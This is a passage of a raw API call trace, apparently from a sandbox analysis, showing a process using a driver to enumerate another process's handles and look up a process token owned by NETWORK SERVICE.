(Object=0xfffffa80030bf6c0) returned 0x1 [0093.323] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.323] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.323] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.323] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.323] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.323] PsAcquireProcessExitSynchronization () returned 0x0 [0093.323] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.323] ObReferenceObjectByHandle (in: Handle=0x6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030d0d00, HandleInformation=0x0) returned 0x0 [0093.323] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.323] PsReleaseProcessExitSynchronization () returned 0x2 [0093.323] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.323] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233508) returned 0x0 [0093.323] ObfDereferenceObject (Object=0xfffffa80030d0d00) returned 0x1 [0093.323] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.323] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.323] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.323] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0093.323] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.323] PsAcquireProcessExitSynchronization () returned 0x0 [0093.323] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.323] ObReferenceObjectByHandle (in: Handle=0x280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030cbf20, HandleInformation=0x0) returned 0x0 [0093.323] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.323] PsReleaseProcessExitSynchronization () returned 0x2 [0093.323] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.323] ObQueryNameString (in: Object=0xfffffa80030cbf20, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.324] ObfDereferenceObject (Object=0xfffffa80030cbf20) returned 0x1 [0093.324] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.324] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.324] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.324] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0093.324] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.324] PsAcquireProcessExitSynchronization () returned 0x0 [0093.324] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.324] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030cbc80, HandleInformation=0x0) returned 0x0 [0093.324] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.324] PsReleaseProcessExitSynchronization () returned 0x2 [0093.324] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.324] ObQueryNameString (in: Object=0xfffffa80030cbc80, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.324] ObfDereferenceObject (Object=0xfffffa80030cbc80) returned 0x2 [0093.324] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.324] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.324] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.324] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0093.324] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.324] PsAcquireProcessExitSynchronization () returned 0x0 [0093.324] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.324] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030cbb30, HandleInformation=0x0) returned 0x0 [0093.324] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.324] PsReleaseProcessExitSynchronization () returned 0x2 [0093.324] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.324] ObQueryNameString (in: Object=0xfffffa80030cbb30, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.325] ObfDereferenceObject (Object=0xfffffa80030cbb30) returned 0x1 [0093.325] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.325] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.325] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.325] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.325] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.325] PsAcquireProcessExitSynchronization () returned 0x0 [0093.325] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.325] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030d1230, HandleInformation=0x0) returned 0x0 [0093.325] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.325] PsReleaseProcessExitSynchronization () returned 0x2 [0093.325] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.325] ObQueryNameString (in: Object=0xfffffa80030d1230, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.325] ObfDereferenceObject (Object=0xfffffa80030d1230) returned 0x1 [0093.325] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.325] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.325] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.325] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.325] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.325] PsAcquireProcessExitSynchronization () returned 0x0 [0093.325] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.325] ObReferenceObjectByHandle (in: Handle=0x428, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.325] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.325] PsReleaseProcessExitSynchronization () returned 0x2 [0093.325] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.325] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800399a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800399a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.325] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.325] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.325] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.325] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.325] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0093.326] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.326] PsAcquireProcessExitSynchronization () returned 0x0 [0093.326] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.326] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0093.326] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.326] PsReleaseProcessExitSynchronization () returned 0x2 [0093.326] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.326] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.326] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0093.326] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.326] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.326] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.326] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0093.326] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.326] PsAcquireProcessExitSynchronization () returned 0x0 [0093.326] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.326] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a004a98830, HandleInformation=0x0) returned 0x0 [0093.326] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.326] PsReleaseProcessExitSynchronization () returned 0x2 [0093.326] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.326] ObQueryNameString (in: Object=0xfffff8a004a98830, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.326] ObfDereferenceObject (Object=0xfffff8a004a98830) returned 0x2 [0093.326] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.326] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.326] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.326] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0093.326] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.326] PsAcquireProcessExitSynchronization () returned 0x0 [0093.326] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.326] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800312fbb0, HandleInformation=0x0) returned 0x0 [0093.326] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.326] PsReleaseProcessExitSynchronization () returned 0x2 [0093.326] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.327] ObQueryNameString (in: Object=0xfffffa800312fbb0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.327] ObfDereferenceObject (Object=0xfffffa800312fbb0) returned 0x11 [0093.327] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.327] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.327] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.327] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.327] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.327] PsAcquireProcessExitSynchronization () returned 0x0 [0093.327] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.327] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.327] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.327] PsReleaseProcessExitSynchronization () returned 0x2 [0093.327] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.327] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.327] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.327] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.327] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.327] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.327] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.327] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.327] PsAcquireProcessExitSynchronization () returned 0x0 [0093.327] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.327] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.327] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.327] PsReleaseProcessExitSynchronization () returned 0x2 [0093.327] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.327] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800211e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800211e044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.327] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.327] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.327] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.327] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.327] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.328] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.328] PsAcquireProcessExitSynchronization () returned 0x0 [0093.328] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.328] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.328] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.328] PsReleaseProcessExitSynchronization () returned 0x2 [0093.328] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.328] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.328] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.328] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.328] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.328] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.328] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2e, lpOverlapped=0x0) returned 1 [0093.328] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.328] PsAcquireProcessExitSynchronization () returned 0x0 [0093.328] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.328] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f97760, HandleInformation=0x0) returned 0x0 [0093.328] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.328] PsReleaseProcessExitSynchronization () returned 0x2 [0093.328] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.328] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.328] ObfDereferenceObject (Object=0xfffffa8002f97760) returned 0x1 [0093.328] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.328] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.328] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.328] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.328] PsLookupProcessByProcessId (in: ProcessId=0x250, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.328] PsAcquireProcessExitSynchronization () returned 0x0 [0093.328] KeStackAttachProcess (in: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800305ab30, ApcState=0xfffff880052335d0) [0093.328] ObReferenceObjectByHandle (in: Handle=0x658, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0093.328] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.328] PsReleaseProcessExitSynchronization () returned 0x2 [0093.328] ObfDereferenceObject (Object=0xfffffa800305ab30) returned 0x85 [0093.328] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.329] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0093.329] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.329] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.329] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x294) returned 0xc0 [0093.329] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.329] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800a76d690, HandleInformation=0x0) returned 0x0 [0093.329] ObOpenObjectByPointer (in: Object=0xfffffa800a76d690, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000810) returned 0x0 [0093.329] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xb3 [0093.329] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000810, DesiredAccess=0x8, TokenHandle=0xfffffa80038b3240 | out: TokenHandle=0xfffffa80038b3240*=0xc8) returned 0x0 [0093.329] ZwClose (Handle=0xffffffff80000810) returned 0x0 [0093.329] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.329] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.329] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.330] CloseHandle (hObject=0xc8) returned 1 [0093.330] CloseHandle (hObject=0xc0) returned 1 [0093.330] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.330] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, 